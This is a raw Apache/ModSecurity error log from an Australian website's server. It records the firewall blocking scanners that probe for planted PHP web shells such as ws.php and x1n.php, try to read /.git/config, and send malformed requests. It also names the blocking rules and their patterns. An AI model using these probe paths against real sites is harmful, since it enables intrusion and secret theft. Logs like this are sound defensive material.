[Wed Jan 07 01:58:51.266340 2026] [:error] [pid 44905:tid 44992] [client 20.239.71.136:22952] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known.php"] [unique_id "aV1NW7u7ufwWVst9EAtFigAAAJg"]
[Wed Jan 07 01:58:52.236717 2026] [:error] [pid 44905:tid 44979] [client 20.239.71.136:22961] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known.php"] [unique_id "aV1NXLu7ufwWVst9EAtFiwAAAIs"]
[Wed Jan 07 01:58:53.746746 2026] [:error] [pid 45959:tid 45967] [client 20.239.71.136:24541] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known.php"] [unique_id "aV1NXVajdn8P3hjgMYxlwwAAAUU"]
[Wed Jan 07 01:58:54.674841 2026] [:error] [pid 35140:tid 35158] [client 20.239.71.136:51880] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/02.php"] [unique_id "aV1NXnoQaIDFMbT-XMwpxAAAARA"]
[Wed Jan 07 01:58:55.474722 2026] [:error] [pid 44905:tid 44979] [client 20.239.71.136:3805] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/02.php"] [unique_id "aV1NX7u7ufwWVst9EAtFoQAAAIs"]
[Wed Jan 07 01:58:55.884350 2026] [:error] [pid 35140:tid 35142] [client 20.239.71.136:1160] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/02.php"] [unique_id "aV1NX3oQaIDFMbT-XMwpzQAAAQA"]
[Wed Jan 07 01:58:57.195166 2026] [:error] [pid 44903:tid 44913] [client 20.239.71.136:13191] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/02.php"] [unique_id "aV1NYdhHqjs38zbkQPBz1wAAAAY"]
[Wed Jan 07 01:58:58.169101 2026] [:error] [pid 45959:tid 45964] [client 20.239.71.136:44289] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "aV1NYlajdn8P3hjgMYxl4wAAAUI"]
[Wed Jan 07 01:58:59.401634 2026] [:error] [pid 45959:tid 45980] [client 20.239.71.136:13302] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "aV1NY1ajdn8P3hjgMYxl6QAAAVI"]
[Wed Jan 07 01:59:01.493458 2026] [:error] [pid 45012:tid 45024] [client 20.239.71.136:12154] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "aV1NZRaMAxCuju1d0uZsbQAAAMo"]
[Wed Jan 07 01:59:04.344719 2026] [:error] [pid 35140:tid 35165] [client 20.239.71.136:3256] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "aV1NaHoQaIDFMbT-XMwqIgAAARc"]
[Wed Jan 07 01:59:05.273724 2026] [:error] [pid 45959:tid 45971] [client 20.239.71.136:23161] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2024.php"] [unique_id "aV1NaVajdn8P3hjgMYxl8QAAAUk"]
[Wed Jan 07 05:42:50.072428 2026] [autoindex:error] [pid 6571:tid 6634] [client 185.249.225.220:65043] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Jan 07 06:14:14.420105 2026] [:error] [pid 6677:tid 6697] [client 170.106.15.3:36340] [client 170.106.15.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aV2JNn1cbekSFYxHbiMi0wAAAMU"]
[Wed Jan 07 07:35:39.765536 2026] [:error] [pid 30720:tid 30725] [client 45.92.229.28:65053] [client 45.92.229.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aV2cS4dgcpQjqzUi9WbixgAAAUM"]
[Wed Jan 07 07:35:40.659583 2026] [:error] [pid 30720:tid 30730] [client 45.92.229.33:60391] [client 45.92.229.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "aV2cTIdgcpQjqzUi9WbiyAAAAUg"]
[Wed Jan 07 07:35:41.469780 2026] [:error] [pid 30720:tid 30728] [client 216.73.161.144:47313] [client 216.73.161.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/media/system/js/core.js"] [unique_id "aV2cTYdgcpQjqzUi9WbiyQAAAUY"]
[Wed Jan 07 09:40:04.742075 2026] [:error] [pid 58330:tid 58346] [client 195.178.110.161:47242] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aV25dA8kGngKGK7_wndLNwAAAQ4"]
[Wed Jan 07 10:51:32.064668 2026] [:error] [pid 30720:tid 30729] [client 43.165.70.220:56186] [client 43.165.70.220] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aV3KNIdgcpQjqzUi9WYd_gAAAUc"]
[Wed Jan 07 12:26:00.382829 2026] [:error] [pid 58330:tid 58340] [client 40.77.167.11:44226] [client 40.77.167.11] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||vetstars.com.au|F|4"] [data "REQUEST_URI=/@\\x01!*%g-\\x15.aspx"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/@\\x01!*%g-\\x15.aspx"] [unique_id "aV3gWA8kGngKGK7_wneKfgAAAQg"]
[Wed Jan 07 14:10:33.765337 2026] [:error] [pid 30632:tid 30649] [client 43.159.143.190:38030] [client 43.159.143.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aV342ed3_LCpBJzo02e6SgAAAA0"]
[Wed Jan 07 14:51:50.208988 2026] [:error] [pid 30632:tid 30645] [client 195.178.110.161:40694] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aV4Chud3_LCpBJzo02fASwAAAAk"]
[Wed Jan 07 14:52:02.319916 2026] [:error] [pid 30720:tid 30725] [client 182.42.111.156:46281] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aV4CkodgcpQjqzUi9WZL-wAAAUM"]
[Wed Jan 07 18:25:34.645669 2026] [:error] [pid 30632:tid 30658] [client 43.167.157.80:59128] [client 43.167.157.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aV40nud3_LCpBJzo02fn6wAAABY"]
[Wed Jan 07 19:23:15.376457 2026] [autoindex:error] [pid 58330:tid 58345] [client 167.71.90.72:54274] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Jan 07 20:17:16.288253 2026] [:error] [pid 30632:tid 30638] [client 20.192.27.55:13544] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tyasd.php"] [unique_id "aV5OzOd3_LCpBJzo02cEGAAAAAI"]
[Wed Jan 07 20:17:16.950796 2026] [:error] [pid 30633:tid 30681] [client 20.192.27.55:13464] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tyasd.php"] [unique_id "aV5OzPZiVWlF7303nMiqywAAAFI"]
[Wed Jan 07 20:17:18.199885 2026] [:error] [pid 30632:tid 30639] [client 20.192.27.55:13470] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tyasd.php"] [unique_id "aV5Ozud3_LCpBJzo02cEHAAAAAM"]
[Wed Jan 07 20:17:19.042787 2026] [:error] [pid 30632:tid 30654] [client 20.192.27.55:13565] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tyasd.php"] [unique_id "aV5Oz-d3_LCpBJzo02cEHgAAABI"]
[Wed Jan 07 20:17:19.826980 2026] [:error] [pid 30632:tid 30652] [client 20.192.27.55:13536] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz10.php"] [unique_id "aV5Oz-d3_LCpBJzo02cEHwAAABA"]
[Wed Jan 07 20:17:20.439339 2026] [:error] [pid 30632:tid 30653] [client 20.192.27.55:13524] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz10.php"] [unique_id "aV5O0Od3_LCpBJzo02cEMwAAABE"]
[Wed Jan 07 20:17:20.920337 2026] [:error] [pid 51128:tid 51146] [client 20.192.27.55:13442] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz10.php"] [unique_id "aV5O0EGjtE8U88mrwuegbgAAAZA"]
[Wed Jan 07 20:17:21.660198 2026] [:error] [pid 30720:tid 30746] [client 20.192.27.55:13553] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz10.php"] [unique_id "aV5O0YdgcpQjqzUi9WaF_QAAAVg"]
[Wed Jan 07 20:17:22.650292 2026] [:error] [pid 30632:tid 30658] [client 20.192.27.55:13475] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aV5O0ud3_LCpBJzo02cEWwAAABY"]
[Wed Jan 07 20:17:23.520899 2026] [:error] [pid 51128:tid 51154] [client 20.192.27.55:13443] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aV5O00GjtE8U88mrwuegbwAAAZg"]
[Wed Jan 07 20:17:24.092606 2026] [:error] [pid 30634:tid 30704] [client 20.192.27.55:13550] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aV5O1ICIPBibObtmZtsBqwAAAM4"]
[Wed Jan 07 20:17:25.132089 2026] [:error] [pid 30634:tid 30707] [client 20.192.27.55:13452] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aV5O1YCIPBibObtmZtsBrQAAANE"]
[Wed Jan 07 20:17:25.808835 2026] [:error] [pid 30633:tid 30673] [client 20.192.27.55:13529] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1n.php"] [unique_id "aV5O1fZiVWlF7303nMiqzwAAAEo"]
[Wed Jan 07 20:17:26.823984 2026] [:error] [pid 58294:tid 58313] [client 20.192.27.55:13528] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1n.php"] [unique_id "aV5O1lfzA7c0ITpf3nEiMgAAAJE"]
[Wed Jan 07 20:17:28.434051 2026] [:error] [pid 30633:tid 30671] [client 20.192.27.55:13549] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1n.php"] [unique_id "aV5O2PZiVWlF7303nMiq0QAAAEg"]
[Wed Jan 07 20:17:28.806045 2026] [:error] [pid 30634:tid 30714] [client 20.192.27.55:13531] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1n.php"] [unique_id "aV5O2ICIPBibObtmZtsBrwAAANg"]
[Wed Jan 07 20:17:29.245808 2026] [:error] [pid 30634:tid 30690] [client 20.192.27.55:13517] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jnuqm.php"] [unique_id "aV5O2YCIPBibObtmZtsBsAAAAMA"]
[Wed Jan 07 20:17:29.785068 2026] [:error] [pid 30634:tid 30693] [client 20.192.27.55:13548] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jnuqm.php"] [unique_id "aV5O2YCIPBibObtmZtsBsQAAAMM"]
[Wed Jan 07 20:17:30.969751 2026] [:error] [pid 30633:tid 30670] [client 20.192.27.55:13539] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jnuqm.php"] [unique_id "aV5O2vZiVWlF7303nMiq0wAAAEc"]
[Wed Jan 07 20:17:33.317804 2026] [:error] [pid 30632:tid 30649] [client 20.192.27.55:13547] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jnuqm.php"] [unique_id "aV5O3ed3_LCpBJzo02cEYgAAAA0"]
[Wed Jan 07 20:17:35.089850 2026] [:error] [pid 30633:tid 30669] [client 20.192.27.55:13535] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aV5O3_ZiVWlF7303nMiq1gAAAEY"]
[Wed Jan 07 20:17:36.109014 2026] [:error] [pid 30720:tid 30731] [client 20.192.27.55:13540] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aV5O4IdgcpQjqzUi9WaGAgAAAUk"]
[Wed Jan 07 20:17:36.834538 2026] [:error] [pid 30632:tid 30655] [client 20.192.27.55:13558] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aV5O4Od3_LCpBJzo02cEZwAAABM"]
[Wed Jan 07 20:17:37.517593 2026] [:error] [pid 58330:tid 58346] [client 20.192.27.55:13500] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aV5O4Q8kGngKGK7_wnf6jgAAAQ4"]
[Wed Jan 07 20:17:38.171317 2026] [:error] [pid 51128:tid 51141] [client 20.192.27.55:13490] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggfi.php"] [unique_id "aV5O4kGjtE8U88mrwuegcwAAAYs"]
[Wed Jan 07 20:17:39.460999 2026] [:error] [pid 30633:tid 30679] [client 20.192.27.55:13521] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggfi.php"] [unique_id "aV5O4_ZiVWlF7303nMiq2AAAAFA"]
[Wed Jan 07 20:17:40.147017 2026] [:error] [pid 30632:tid 30652] [client 20.192.27.55:13456] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggfi.php"] [unique_id "aV5O5Od3_LCpBJzo02cEagAAABA"]
[Wed Jan 07 20:17:41.125600 2026] [:error] [pid 30632:tid 30649] [client 20.192.27.55:13559] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggfi.php"] [unique_id "aV5O5ed3_LCpBJzo02cEbAAAAA0"]
[Wed Jan 07 20:17:42.482224 2026] [:error] [pid 58330:tid 58337] [client 20.192.27.55:13505] [client 20.192.27.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ca4.php"] [unique_id "aV5O5g8kGngKGK7_wnf6kAAAAQU"]
